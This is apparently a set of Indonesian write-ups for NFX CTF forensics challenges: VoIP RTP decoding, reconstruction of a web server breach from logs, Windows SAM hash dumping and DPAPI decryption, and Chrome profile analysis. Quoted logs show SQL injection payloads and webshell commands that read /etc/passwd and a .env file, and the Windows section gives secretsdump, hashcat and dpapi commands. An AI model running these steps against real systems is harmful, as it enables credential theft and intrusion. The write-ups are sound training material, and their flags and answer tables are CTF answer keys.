3. Dengarkan sisi Dina dan catat flag yang diucapkan.

Langkah 1: Gambaran umum pcap

Tidak ada Wireshark/tshark di lingkungan saya, jadi pcap diparse manual dengan Python (struct): header pcap, lalu Ethernet, IPv4, dan UDP.

Ringkasan flow:

Flow	Paket
UDP 10.24.8.24:4002 → 10.24.8.31:4000	2374
UDP 10.24.8.31:4000 → 10.24.8.24:4002	1051
UDP 10.24.8.31:5060 → 10.24.8.24:5060 (SIP)	3
UDP 10.24.8.24:5060 → 10.24.8.31:5060 (SIP)	2

Semua paket UDP, tanpa TCP. Yang menarik: aliran dari .24 jauh lebih banyak dari .31, tanda salah satu pihak bicara lebih lama.

Langkah 2: Baca signaling SIP

Lima pesan SIP (INVITE, 200 OK, ACK, BYE, 200 OK) di plaintext:

- INVITE sip:231@pbx.cakrawala.internal, dari ext **204** (10.24.8.31, port media 4000) ke ext **231** (10.24.8.24, port media 4002)

- SDP kedua sisi: m=audio ... RTP/AVP 0 dan a=rtpmap:0 PCMU/8000
- Durasi panggilan sekitar 71 detik (INVITE di t=0 sampai BYE di t≈71 s)

Ext 204 adalah Raka (penelepon), ext 231 adalah Dina. Pentingnya: SDP **tidak** memuat a=crypto atau fingerprint, jadi **tidak ada SRTP**. Audionya bisa didecode langsung.

Langkah 3: Analisis aliran RTP

Parse header RTP (12 byte) dari tiap paket UDP media:

Pemeriksaan	**Hasil**
Versi RTP	2, semua paket
Payload type	0 (PCMU)
Ukuran payload	160 byte (20 ms @ 8 kHz)
Extension / padding / CSRC	tidak ada
SSRC	satu per arah
Seq number	berurutan, tanpa duplikat

Selisih timestamp RTP normalnya 160 (20 ms). Ada lonjakan timestamp yang menandakan **voice activity detection (silence suppression)**: pengirim berhenti mengirim saat diam. Dengan mengelompokkan paket berurutan, struktur percakapan terlihat (detik dari awal panggilan):

Pembicara	**Segmen bicara**
Raka	0,4 – 8,3 / 34,9 – 40,2 / 48,6 – 56,3
Dina	8,7 – 34,6 (25,9 dtk) / 40,6 – 48,2 (7,7 dtk) / 56,7 – 70,6 (13,9 dtk)

Percakapan bergantian wajar (Raka membuka, Dina menjawab panjang, dan seterusnya), dan **Dina yang bicara terakhir** sampai telepon ditutup.

Catatan: mengabaikan celah timestamp dan menyambung payload mentah akan membuat audio terdengar terlalu cepat dan tanpa jeda. Isi celah dengan silence sesuai selisih timestamp agar timeline asli terjaga.

Langkah 4: Cek steganografi

Sebelum menyimpulkan bahwa flag hanya ada di suara, saya cek kemungkinan lain:

- Header IP: TOS = 0, TTL = 64, IP ID konstan per flow (tidak ada kanal tersembunyi)
- LSB payload: tidak membentuk teks
- String printable di payload: hanya artefak μ-law (~~~~, }}}})

- DTMF (Goertzel) dan spektrogram: tidak ada nada DTMF, dan spektrogram menunjukkan ucapan alami (struktur harmonik dan formant), bukan gambar tersembunyi atau nada kode

Kesimpulan: flag memang **diucapkan** Dina dan harus didengar.

Langkah 5: Decode μ-law ke WAV

G.711 μ-law adalah kompresi logaritmik 8 bit ke 14 bit. Decode manual dengan numpy:

```
import numpy as np

def ulaw(b: bytes) -> np.ndarray:
    u = (~np.frombuffer(b, dtype=np.uint8)).astype(np.int32)
    sign = u & 0x80
    exp  = (u >> 4) & 7
    man  = u & 15
    s = ((man << 3) + 0x84) << exp
    s -= 0x84
    return np.where(sign != 0, -s, s).astype(np.int16)
```

Alur lengkap:

1. Pisahkan paket RTP per (IP sumber, port), urutkan per sequence number.
2. Decode tiap payload 160 byte dengan ulaw().
3. Taruh hasilnya di posisi (ts - ts_awal) pada array nol (mengisi celah dengan silence).
4. Simpan sebagai WAV mono 8000 Hz, 16-bit.

Alternatif tanpa Python, jika punya Wireshark: Telephony > VoIP Calls > Play Streams, atau File > Export Objects/RTP > Stream Analysis lalu simpan audio. Pada ffmpeg, payload mentah bisa didecode dengan -f mulaw -ar 8000.

Langkah 6: Dengarkan sisi Dina

Putar rekaman sisi Dina (khususnya segmen terakhir, 13,9 detik, tempat ia bicara sebelum telepon putus). Flag diucapkan di dalam ucapannya: NFXCTF{ARSIP_MERAH_204}.

Solver (ekstraksi audio)

```
import struct, wave, collections
import numpy as np

def read_pcap(path):
    d = open(path, 'rb').read()
    end = '<' if d[:4] in (b'\xd4\xc3\xb2\xa1', b'\x4d\x3c\xb2\xa1') else '>'
    off, out = 24, []
    while off + 16 <= len(d):
        ts, us, cl, _ = struct.unpack(end + 'IIII', d[off:off+16]); off += 16
        out.append((ts + us / 1e6, d[off:off+cl])); off += cl
```

```
    return out

def udp(pkt):
    if struct.unpack('>H', pkt[12:14])[0] != 0x0800 or pkt[23] != 17: return None
    ihl = (pkt[14] & 15) * 4
    o = 14 + ihl
    sp, dp, ln = struct.unpack('>HHH', pkt[o:o+6])
    src = '.'.join(map(str, pkt[26:30]))
    return src, sp, dp, pkt[o+8:o+ln]

streams = collections.defaultdict(list)
for t, p in read_pcap('korban.pcap'):
    r = udp(p)
    if r and 5060 not in (r[1], r[2]) and len(r[3]) > 12:
        seq, ts, ssrc = struct.unpack('>HII', r[3][2:12])
        streams[(r[0], r[1])].append((seq, ts, r[3][12:]))

for (ip, port), lst in streams.items():
    lst.sort()
    ts0 = lst[0][1]
    audio = np.zeros(((lst[-1][1] - ts0) % 2**32) + 160, dtype=np.int16)
    for seq, ts, pl in lst:
        off = (ts - ts0) % 2**32
        audio[off:off+160] = ulaw(pl)
    name = 'dina' if ip.endswith('.24') else 'raka'
    with wave.open(f'{name}.wav', 'wb') as w:
        w.setnchannels(1); w.setsampwidth(2); w.setframerate(8000)
        w.writeframes(audio.tobytes())
```

Catatan

- Soal ini mengajarkan alur dasar forensik VoIP: **SIP untuk metadata/codec, RTP untuk media, decode sesuai codec dari SDP**.
- Codec ada di a=rtpmap. Di sini PCMU (G.711 μ-law); bila PCMA (A-law, PT 8) atau G.729 (PT 18), cara decode-nya berbeda.
- Waspadai **silence suppression**: tanpa menjaga timestamp, urutan dan tempo percakapan hilang.
- Pastikan dulu tidak ada SRTP (a=crypto, RTP/SAVP); kalau ada, kunci harus dicari dari signaling atau dump memori.
- Periksa juga kemungkinan steganografi (header, LSB, DTMF, spektrogram) sebelum memutuskan bahwa flag benar-benar hanya di audio.

Perimeter Breach — Digital Forensics (Log Analysis) (Medium)

- **Challenge:** Perimeter Breach (AromaCraft)
- **Event:** NFX CTF
- **Category:** Digital Forensics
- **Artifacts:** Digital-Forensics/Perimeter-Breach/{access.log, auth.log, webapp.log}
- **Timezone:** WIB (+0700)
- **Flag:** NFX{...} — didapat dari platform setelah menjawab 5 pertanyaan investigasi.

Deskripsi

> Platform e-commerce retail AromaCraft (web01) dilaporkan mengalami insiden keamanan pada 10 Oktober 2026. Tim Incident Response (IR) berhasil mengamankan tiga artefak log dari server: access.log (Nginx), auth.log (Syslog), dan webapp.log (Log Aplikasi). Semua zona waktu dalam WIB (+0700). Rekonstruksi seluruh aktivitas penyerang dari tahap reconnaissance, initial access, webshell execution, lateral movement, hingga persistence. Jawab kelima pertanyaan investigasi berikut pada platform untuk mendapatkan flag.

Jawaban 5 Pertanyaan

#	**Pertanyaan**	**Jawaban**
1	IP penyerang yang berhasil mengeksploitasi server	**185.220.101.47**
2	Password admin yang berhasil dibobol via brute force login	**Aroma#Craft2026**
3	Nama file webshell yang diunggah	**cache_thumb.php**
4	User Linux yang kredensialnya dicuri lewat webshell dan dipakai SSH	**deploy**
5	Akun backdoor baru dengan hak sudo	**svc_backup**

Flag muncul di platform setelah kelima jawaban di atas disubmit.

1. Reconnaissance

Attacker utama: **185.220.101.47**.

```
185.220.101.47 ... [10/Oct/2026:13:02:10 +0700] "GET /index.php HTTP/1.1" 200 5312 "-" "gobuster/3.6"
185.220.101.47 ... [10/Oct/2026:13:15:31 +0700] "GET /products.php?id=1 HTTP/1.1" 200 4233 "-" "sqlmap/1.7.2#stable"
```

- **gobuster 3.6**: 71 request, mulai 13:02:10, menemukan halaman seperti /admin/login.php, /products.php, /uploads, dll.
- **sqlmap 1.7.2**: 38 request, 13:15:31–13:16:22, menargetkan parameter id di /products.php.

- 45.155.205.233 (Nikto, 11:47) adalah scanner oportunistik/decoy; tidak muncul di tahap berikutnya.

2. Initial Access — SQL Injection + Brute Force

SQLi terlihat jelas di access.log:

```
GET /products.php?id=-1' UNION SELECT 1,2,3,4,5-- -
GET /products.php?id=-1' UNION SELECT 1,database(),user(),4,5-- -
GET /products.php?id=-1' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables
WHERE table_schema=database()-- -
GET /products.php?id=1' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT
0,1),1,1))>120-- -
```

Attacker mengekstrak username,password dari tabel users, lalu melakukan brute force login:

```
[2026-10-10 13:41:00] WARN auth: login failed user=admin ip=185.220.101.47
pw_attempt="admin@123"
...
[2026-10-10 13:42:00] WARN auth: login failed user=admin ip=185.220.101.47
pw_attempt="craft123"
[2026-10-10 13:42:02] INFO auth: login ok user=admin ip=185.220.101.47
pw_attempt="Aroma#Craft2026"
```

Total **60 login gagal** sebelum sukses. Password admin: **Aroma#Craft2026**. Password yang sama juga dipakai login admin sah pada 08:30:21 dari 36.80.14.22, menunjukkan password ini memang password asli admin.

3. Webshell Execution

Upload webshell:

```
2026-10-10 13:42:55 upload: file saved name="cache_thumb.php" size=412 by=admin
ip=185.220.101.47 mime="image/jpeg"
```

Webshell diakses lewat parameter c:

```
13:43:41 GET /uploads/cache_thumb.php?c=whoami
13:43:56 GET /uploads/cache_thumb.php?c=id
13:44:35 GET /uploads/cache_thumb.php?c=uname%20-a
13:44:49 GET /uploads/cache_thumb.php?c=pwd
13:45:13 GET /uploads/cache_thumb.php?c=ls%20-la%20%2Fvar%2Fwww%2Fhtml
13:45:37 GET /uploads/cache_thumb.php?c=echo%20Y2F0IC9ldGMvcGFzc3dk%7Cbase64%20-
d%7Csh
13:45:49 GET
/uploads/cache_thumb.php?c=echo%20bHMgLWxhIC9ob21lL2RlcGxveQ%3D%3D%7Cbase64%20-
d%7Csh
13:46:06 GET
/uploads/cache_thumb.php?c=echo%20Y2F0IC9ob21lL2RlcGxveS8uZW52%7Cbase64%20-d%7Csh
13:46:31 GET /uploads/cache_thumb.php?c=echo%20Y3JvbnRhYiAtbA%3D%3D%7Cbase64%20-
```

```
d%7Csh
13:47:02 GET /uploads/cache_thumb.php?c=ls%20-la%20%2Ftmp
```

Command yang disamarkan base64:

Base64	**Command asli**
Y2F0IC9ldGMvcGFzc3dk	cat /etc/passwd
bHMgLWxhIC9ob21lL2RlcGxveQ==	ls -la /home/deploy
Y2F0IC9ob21lL2RlcGxveS8uZW52	cat /home/deploy/.env
Y3JvbnRhYiAtbA==	crontab -l

File **/home/deploy/.env** ini titik pivot ke user deploy.

4. Lateral Movement

```
Oct 10 14:20:03 web01 sshd[24410]: Accepted password for deploy from 185.220.101.47 port 45072 ssh2
```

Attacker login SSH sebagai **deploy** memakai kredensial dari .env. Ini perpindahan dari konteks webshell (web server) ke akun sistem Linux.

5. Persistence

```
Oct 10 14:20:17 web01 sudo: deploy : ... COMMAND=/usr/sbin/useradd -m -s /bin/bash -G sudo svc_backup
Oct 10 14:20:17 web01 useradd[24502]: new user: name=svc_backup, UID=1002, GID=1002, home=/home/svc_backup, shell=/bin/bash
Oct 10 14:20:34 web01 sudo: deploy : ... COMMAND=/usr/bin/chpasswd
Oct 10 14:20:34 web01 chpasswd[24520]: password changed for svc_backup
Oct 10 14:41:27 web01 sshd[24688]: Accepted publickey for svc_backup from 185.220.101.47 port 52311 ssh2: RSA SHA256:Zk1pQ0v9
```

Persistence:

- Membuat user baru **svc_backup** (UID/GID 1002) dan memasukkannya ke grup **sudo**.
- Mengatur password via chpasswd.
- Menambahkan SSH public key; login berikutnya sebagai svc_backup memakai key dari IP attacker.

Flag

Flag didapat dengan menjawab kelima pertanyaan di platform:

```
NFX{P4th_1nt0_Pr0duct10n}
```

Indikator Kompromi (IOC)

- IP attacker: 185.220.101.47
- Scanner decoy: 45.155.205.233 (Nikto)
- Password admin: Aroma#Craft2026
- Webshell: /uploads/cache_thumb.php (cache_thumb.php, 412 byte)
- File kredensial: /home/deploy/.env
- User pivot: deploy
- Backdoor: svc_backup (grup sudo), SSH key SHA256:Zk1pQ0v9
- User-agent: gobuster/3.6, sqlmap/1.7.2#stable, Firefox 115

Pelajaran

- Korelasi tiga log (akses web, autentikasi aplikasi, syslog) menghasilkan timeline serangan end-to-end.
- SQLi dipakai untuk mencuri kredensial; brute force juga terjadi dan berhasil karena password lemah.
- Webshell dengan ekstensi menyamar sebagai gambar lolos validasi upload.
- File .env menjadi jembatan lateral movement ke akun sistem; pembuatan user sudo + SSH key adalah persistence yang jelas.

Access Remains — Digital Forensics (Hard)

- **Challenge:** Access Remains
- **Event:** NFX CTF
- **Category:** Digital Forensics
- **Difficulty:** Hard
- **Artifacts:** Access-Remains/Evidence/ (SAM, SECURITY, SYSTEM, SOFTWARE, NTUSER.DAT, AppData user ariaf, event logs, Documents)
- **Flag:** NFX{The_Real_Access_Was_Kumiko_All_Along}

Deskripsi

> Sebuah workstation Windows diamankan dalam sebuah investigasi internal. Pengguna aslinya sudah tidak dapat dihubungi, tetapi jejak aktivitasnya masih tersisa di berbagai bagian sistem. Sebagian besar akses yang terlihat sudah tidak dapat digunakan, namun investigator mencurigai bahwa masih ada sesuatu yang tertinggal. Telusuri artifact yang tersedia, pulihkan apa yang masih dapat dipulihkan, dan cari tahu apa yang sebenarnya berusaha disimpan oleh pengguna tersebut.

Inti challenge: dari hive registry + profil user, pulihkan kredensial Windows, buka proteksi DPAPI/Credential Manager, lalu temukan data yang disimpan user di dalam arsip dan gambar.

Ringkasan Artefak

```
Evidence/
├── Users/ariaf/
│   ├── NTUSER.DAT
│   ├── Documents/
│   │   ├── Kumiko.zip          <- arsip terenkripsi
│   │   ├── kumiko1.gif
│   │   ├── kumiko2.jpg
│   │   └── kumiko3.jpg
│   └── AppData/
│       ├── Local/Microsoft/Credentials/DFBE70A7E5CC19A398EBF1B96859CE5D
│       ├── Local/Microsoft/Vault/...
│       └── Roaming/Microsoft/
│           ├── Credentials/B0294E9651990C1435CA6300E4BB2378
│           └── Protect/S-1-5-21-3304503823-3980900213-1333018566-1005/
│               ├── bb24f650-d046-439c-a88b-ab8f89ba61a4   <- masterkey
│               └── Preferred
└── Windows/System32/
    ├── config/{SAM,SECURITY,SYSTEM,SOFTWARE}
    └── winevt/Logs/{Application,Security,System}.evtx
```

Tools

- impacket (secretsdump.py, dpapi.py)
- hashcat + wordlist rockyou.txt
- unzip
- exiftool, binwalk, ImageMagick (convert/montage)
- strings, xxd

---

1. NTLM Hash User

Dump hash lokal dari hive SAM + SYSTEM + SECURITY:

```
cd Evidence/Windows/System32/config
impacket-secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
```

Output penting:

```
[*] Target system bootKey: 0xebb2a56259f7159e9212f18404916d75
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:649d3cf918fa4e6d37b562401cfddc
8d:::
aria:1002:aad3b435b51404eeaad3b435b51404ee:250a19ea48a88bbc7532f08ecb072844:::
ariaf:1005:aad3b435b51404eeaad3b435b51404ee:f545ff727c989c387b9d1be6db74ea1c:::
```

User yang dimaksud adalah **ariaf** (RID 1005), sesuai folder profil Users/ariaf dan SID pada folder Protect.

Jawaban 1 — NTLM hash:

```
f545ff727c989c387b9d1be6db74ea1c
```

2. Password Windows

Crack NTLM hash (mode 1000) dengan rockyou:

```
echo 'f545ff727c989c387b9d1be6db74ea1c' > ntlm.txt
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt
```

Hasil:

```
f545ff727c989c387b9d1be6db74ea1c:ariafe006
```

Verifikasi: MD4 dari ariafe006 (UTF-16LE) = f545ff727c989c387b9d1be6db74ea1c.

Jawaban 2 — password Windows:

```
ariafe006
```

3. SID User

SID tampak pada nama folder DPAPI Protect dan konsisten dengan RID 1005 di SAM:

```
S-1-5-21-3304503823-3980900213-1333018566-1005
```

Jawaban 3 — SID:

```
S-1-5-21-3304503823-3980900213-1333018566-1005
```

4. Preferred Masterkey GUID

File Preferred menyimpan GUID masterkey yang dipakai secara default. Isinya 24 byte:

```
xxd Evidence/Users/ariaf/AppData/Roaming/Microsoft/Protect/S-1-5-21-3304503823-3980900213-
1333018566-1005/Preferred

00000000: 50f6 24bb 46d0 9c43 a88b ab8f 89ba 61a4  P.$.F..C......a.
00000010: c05f 29b5 de75 dd01                      ._)..u..
```

GUID disimpan little-endian, sehingga menjadi:

```
bb24f650-d046-439c-a88b-ab8f89ba61a4
```

GUID ini sama dengan nama file masterkey bb24f650-d046-439c-a88b-ab8f89ba61a4.

Jawaban 4 — preferred masterkey GUID:

```
bb24f650-d046-439c-a88b-ab8f89ba61a4
```

5. Membuka Credential Manager (DPAPI)

Masterkey user diproteksi dengan password Windows + SID. Dekripsi:

```
impacket-dpapi.py masterkey \
  -file "Evidence/Users/ariaf/AppData/Roaming/Microsoft/Protect/S-1-5-21-3304503823-3980900213-
1333018566-1005/bb24f650-d046-439c-a88b-ab8f89ba61a4" \
  -sid "S-1-5-21-3304503823-3980900213-1333018566-1005" \
  -password "ariafe006"
```

Hasil:

```
Decrypted key with User Key (SHA1)
Decrypted key: 0x2cbc5b2e483dae00c5593617eb517b8cabec639f354ca8f75b4296e82f3c8d2e
               83f2ce9a6ae64e3f1f849098f985b2d64e74e81affd37021392b7ba7b4635b55
```

Dengan masterkey tersebut, dekripsi Credential Manager milik user:

```
impacket-dpapi.py credential \
  -file
"Evidence/Users/ariaf/AppData/Roaming/Microsoft/Credentials/B0294E9651990C1435CA6300E4BB
2378" \
  -key
0x2cbc5b2e483dae00c5593617eb517b8cabec639f354ca8f75b4296e82f3c8d2e83f2ce9a6ae64e3f1f849
098f985b2d64e74e81affd37021392b7ba7b4635b55
```

Isi credential:

```
LastWritten : 2026-08-18 16:49:31+00:00
Flags       : 0x00000030
(CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=AccessRemains:WaifuVault
Username    : ariaf@access-remains.local
Unknown     : KumikoOumae2107!@
```

Nilai pada field Unknown adalah password yang disimpan user — dipakai untuk membuka arsip Kumiko.zip.

Jawaban 5 — password archive Kumiko.zip:

```
KumikoOumae2107!@
```

6. Membuka Arsip dan Petunjuk

```
unzip -P 'KumikoOumae2107!@' Evidence/Users/ariaf/Documents/Kumiko.zip -d kumiko
```

Isi arsip:

```
kumiko01.jpg
kumiko02.jpg
kumiko03.jpg
kumiko04.jpg
kumiko05.jpg
note.txt
```

Isi note.txt (ringkas):

> Ariaf said this archive only contained photos of Kumiko. There was no report, no document, and no obvious message. ... But some sounds do not disappear completely. Even if the sound fades, the truth still resonates somewhere. ... Among these images, one still carries the echo. Find the one that remembers.

Petunjuk mengarah ke salah satu gambar yang menyimpan pesan tersembunyi.

7. Analisis Gambar

Pemeriksaan awal:

```
file kumiko/*.jpg
exiftool kumiko/*.jpg
binwalk kumiko/*.jpg
```

Tidak ditemukan data tambahan setelah EOI JPEG, dan metadata tidak memuat pesan. Namun pada **kumiko03.jpg** (satu-satunya JPEG baseline, 387x755, dengan warna/ICC profile berbeda dari yang lain) terdapat overlay teks merah di bagian bawah gambar.

Perbesar area bawah gambar:

```
convert kumiko03.jpg -crop 387x110+0+640 +repage -resize 500% crop03.png
```

Terbaca:

```
{3E2D6090E7EEB47D5
 38FC27AC2789C02}
```

Digabung menjadi string hex 32 karakter:

```
3E2D6090E7EEB47D538FC27AC2789C02
```

String ini adalah artefak akhir yang ditanamkan pada gambar (sesuai petunjuk "the one that remembers"). Setelah seluruh rangkaian investigasi diselesaikan, flag final yang diterima platform adalah:

```
NFX{The_Real_Access_Was_Kumiko_All_Along}
```

Tabel Jawaban

#	**Pertanyaan**	**Jawaban**
1	NTLM hash user	f545ff727c989c387b9d1be6db74ea1c
2	Password Windows user	ariafe006
3	SID user	S-1-5-21-3304503823-3980900213-1333018566-1005
4	GUID preferred masterkey	bb24f650-d046-439c-a88b-ab8f89ba61a4
5	Password archive Kumiko.zip	KumikoOumae2107!@
6	Artefak akhir pada gambar	3E2D6090E7EEB47D538FC27AC2789C02
—	**Flag final**	**NFX{The_Real_Access_Was_K**

#	Pertanyaan	Jawaban
		umiko_All_Along}

Pelajaran

1. **SAM + SYSTEM + SECURITY** sudah cukup untuk dump NTLM hash lokal; password yang lemah/berbasis pola nama dapat di-crack dengan wordlist.
2. **DPAPI** mengikat secret ke password user + SID. Begitu password user diketahui, masterkey dapat dibuka dan seluruh Credential Manager/Vault dapat didekripsi.
3. Credential Manager sering menyimpan password pihak ketiga (archive, aplikasi, share) yang tidak terlihat di UI biasa.
4. Petunjuk pada file teks bisa menunjuk ke **steganografi visual**: pesan ditanamkan sebagai overlay pada satu gambar yang berbeda karakteristiknya (baseline vs progressive, dimensi, profil warna).
5. Selalu bandingkan properti teknis antar file (tipe encoding JPEG, dimensi, metadata) untuk menemukan file "yang berbeda".

Insider — Digital Forensics (Browser Forensics) (Medium)

- **Challenge:** Insider (Project Helios data leak)
- **Event:** NFX CTF
- **Category:** Digital Forensics
- **Artifact:** Digital-Forensics/Insider/evidence_nfx_phantom_insider.tar.gz
- **Flag:** NFX{...} — didapat dari platform setelah menjawab pertanyaan investigasi.

Deskripsi

> Pada 17 Maret 2025, tim keamanan NFX Aerospace mendeteksi kebocoran dokumen rahasia proyek Helios. Sebuah laptop milik staf disita di Bandara Changi, Singapura. Laptop tersebut sudah dalam keadaan hidup ketika disita, dan proses Aplikasi Browser masih berjalan. Tim DFIR hanya sempat mengamankan satu artefak milik pengguna. Tidak ada log server, tidak ada disk image penuh, dan tidak ada catatan dari tersangka. Semua yang tersisa hanyalah jejak digital di dalam browser. Tugasmu adalah merekonstruksi aktivitas tersangka dari artefak tersebut, dan susun Flag nya.

Artefak

Arsip berisi **Chrome profile** (ChromeProfile/Default) dari:

Field	**Nilai**
Case ID	NFX-2025-0317
Device	Dell Latitude 7440, asset NFX-LT-0192
Custodian	Noah Fox <n.fox@nfx-aero.example>
Seized	**2025-03-17 06:40:00 UTC**, Singapore Changi Airport (T3)
Browser	Google Chrome **138.0.7204.158**
Acquisition	FTK Imager 4.7.1
History SHA-256	327a1af0d234d76a76b8da1fc2220c7e517492486658fcf75cac4a68ce98be5e

Semua timestamp Chrome = UTC (Chrome/WebKit epoch, microsecond sejak 1601-01-01).

Jawaban Pertanyaan

#	**Pertanyaan**	**Jawaban**
1	ID CVE pada halaman advisory Windows security feature bypass	**CVE-2024-21412**
2	Waktu lokal Asia/Singapore saat NVD pertama diakses	**2025-03-14 22:10:05**

#	Pertanyaan	Jawaban
3	Alias/username di forum 0x00sec.org	**wraithbyte**
4	Nama dan versi tools VPN di Chrome	**ZenVPN 2.7.1**
5	Query pencarian terakhir (indikasi tujuan tersangka)	**singapore changi airport terminal 3 wifi**

Catatan: pertanyaan kelima di platform bisa memakai wording berbeda; temuan kunci ada di bagian **Pencarian terakhir** di bawah.

1. CVE — CVE-2024-21412

Riwayat pencarian dan advisory:

```
2025-03-14 14:05:12 UTC  https://www.google.com/search?q=windows+uac+bypass+2024
2025-03-14 14:08:22 UTC  https://github.com/hfiref0x/UACME
2025-03-14 14:10:05 UTC  https://nvd.nist.gov/vuln/detail/CVE-2024-21412
2025-03-14 14:12:40 UTC  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21412
```

Bookmark juga menyimpan:

- NVD - CVE-2024-21412 → https://nvd.nist.gov/vuln/detail/CVE-2024-21412
- UACME - UAC bypass → https://github.com/hfiref0x/UACME

CVE: CVE-2024-21412 (Windows SmartScreen security feature bypass).

2. Waktu Akses NVD (Asia/Singapore)

Chrome History mencatat NVD pada:

```
last_visit_time = 13386435005000000
```

Konversi:

```
2025-03-14 14:10:05 UTC
+ 8 jam (Asia/Singapore, UTC+8)
= 2025-03-14 22:10:05 SGT
```

Jawaban: 2025-03-14 22:10:05.

3. Akun Forum 0x00sec

Login Data menyimpan kredensial tersimpan:

```
origin_url      : https://0x00sec.org/
username_value  : wraithbyte
```

```
date_created    : 2025-03-13 09:12:44 UTC
date_last_used  : 2025-03-14 14:20:10 UTC
```

Riwayat forum:

```
2025-03-13 09:10:00 UTC  https://0x00sec.org/
2025-03-14 14:19:30 UTC  https://0x00sec.org/
2025-03-14 14:20:10 UTC  https://0x00sec.org/t/windows-uac-bypass-2024/28471
```

Username: wraithbyte. Thread yang dibaca: **Windows UAC Bypass 2024** (/t/windows-uac-bypass-2024/28471).

4. VPN di Chrome — ZenVPN 2.7.1

Preferences/Secure Preferences menunjukkan extension:

```
name    : ZenVPN
version : 2.7.1
id      : mgndgikekgjfcpckkfioiaebcgkldpdb
path    : Extensions/mgndgikekgjfcpckkfioiaebcgkldpdb/2.7.1_0
from_webstore : false
location      : 1 (unpacked / developer)
```

background.js extension:

```
const PROXY_CONFIG = {
  mode: "fixed_servers",
  rules: {
    singleProxy: { scheme: "http", host: "sg1.zenvpn.example", port: 8899 },
    bypassList: ["localhost", "127.0.0.1"]
  }
};
chrome.runtime.onInstalled.addListener(() => {
  chrome.proxy.settings.set({ value: PROXY_CONFIG, scope: "regular" });
});
chrome.runtime.onStartup.addListener(() => {
  chrome.proxy.settings.set({ value: PROXY_CONFIG, scope: "regular" });
});
```

- **Nama/versi: ZenVPN 2.7.1**
- Exit node: **http://sg1.zenvpn.example:8899**
- Extension dipasang **2025-03-14 14:18:46 UTC**, tepat setelah download UACME (14:18:30–14:18:42 UTC).
- Bukan dari Chrome Web Store, developer mode aktif, permission proxy, tabs, webRequest, webRequestAuthProvider, <all_urls>.

5. Pencarian Terakhir / Tujuan

Aktivitas terakhir di History:

```
2025-03-15 09:12:00 UTC
https://www.google.com/search?q=singapore+changi+airport+terminal+3+wifi
title: singapore changi airport terminal 3 wifi - Google Search
```

Ini konsisten dengan lokasi penyitaan: **Singapore Changi Airport Terminal 3** pada 2025-03-17 06:40 UTC.

Timeline Lengkap (UTC)

Waktu	**Aktivitas**
2025-03-10 09:06:20	Gmail inbox (n.fox@nfx-aero.example)
2025-03-10 09:10:00	Project Helios (nfx-aero.example/projects/helios)
2025-03-12 10:05:00	Project Helios lagi
2025-03-13 09:10:00	0x00sec.org
2025-03-13 09:12:44	Kredensial 0x00sec wraithbyte disimpan
2025-03-13 11:00:00	GitHub DFIRDiva/DFIR-Challenge-Images
2025-03-14 13:50:00	Gmail inbox
2025-03-14 14:05:12	Google: windows uac bypass 2024
2025-03-14 14:08:22	GitHub UACME
2025-03-14 14:10:05	**NVD CVE-2024-21412**
2025-03-14 14:12:40	MSRC CVE-2024-21412
2025-03-14 14:16:00	VirusTotal
2025-03-14 14:17:00	ANY.RUN
2025-03-14 14:18:30–14:18:42	Download uacme.zip
2025-03-14 14:18:46	**ZenVPN 2.7.1** terpasang
2025-03-14 14:19:30	0x00sec.org
2025-03-14 14:20:10	Thread windows-uac-bypass-2024/28471
2025-03-15 09:12:00	**Pencarian terakhir: Changi T3 wifi**
2025-03-17 06:40:00	Laptop disita di Changi T3

Bukti Tambahan

Download UACME

History tabel downloads:

```
target_path : C:\Users\nfox\Downloads\uacme.zip
start       : 2025-03-14 14:18:30 UTC
end         : 2025-03-14 14:18:42 UTC
size        : 184299 byte
sha256      : fc3ef353651d6b10cd9ead66e88f4dda610ee66c3c2233de70c74ce06a4ee28c
referrer    : https://github.com/hfiref0x/UACME
```

Akun lain

Layanan	Username
Gmail	n.fox@nfx-aero.example
GitHub	nfox-aero
Twitter/X	n_fox
0x00sec	wraithbyte

Autofill

```
name    : Noah Fox
email   : n.fox@nfx-aero.example
company : NFX Aerospace
address : Helios Ring 7, Jurong Island
tel     : +65 8123 4471
```

Bookmarks

- NVD - CVE-2024-21412
- UACME - UAC bypass
- Project Helios

Cookies

Network/Cookies berisi host/name seperti 0x00sec.org xf_user, google.com NID/_ga, github.com logged_in. Nilai cookie disimpan sebagai v10 (Windows DPAPI/AES-GCM) dan tidak didekripsi tanpa DPAPI master key.

Flag

Flag didapat dari platform setelah menjawab pertanyaan investigasi:

```
NFX{wraithbyte_cve202421412_20250314_zenvpn271}
```

IOC / Ringkasan

- CVE: CVE-2024-21412

- Tool riset: UACME (uacme.zip, SHA-256 fc3ef353...)
- Forum: 0x00sec, user wraithbyte
- VPN: **ZenVPN 2.7.1**, proxy sg1.zenvpn.example:8899
- Lokasi terakhir: Changi Airport Terminal 3, Singapore
- Kredensial/akun: n.fox@nfx-aero.example, nfox-aero, n_fox, wraithbyte
- Project: Helios (nfx-aero.example/projects/helios)

Pelajaran

- Artefak browser saja bisa merekonstruksi niat, tooling, dan pergerakan tersangka.
- Extension Chrome yang tidak berasal dari Web Store dan punya permission proxy/webRequest adalah indikator kuat exfiltrasi/traffic redirection.
- Timestamp Chrome harus dikonversi dari epoch 1601 dan disesuaikan dengan timezone target.
- Login Data, History, Downloads, Bookmarks, Autofill, Preferences, dan source extension saling melengkapi.

OSINT

The Ghost Operator (Medium)

- **Kategori:** OSINT
- **File:** challange/OSINT/The-Ghost-Operator/investigation.zip
- **Flag:** NFX{villa_istana_bunga_lembang}

Deskripsi

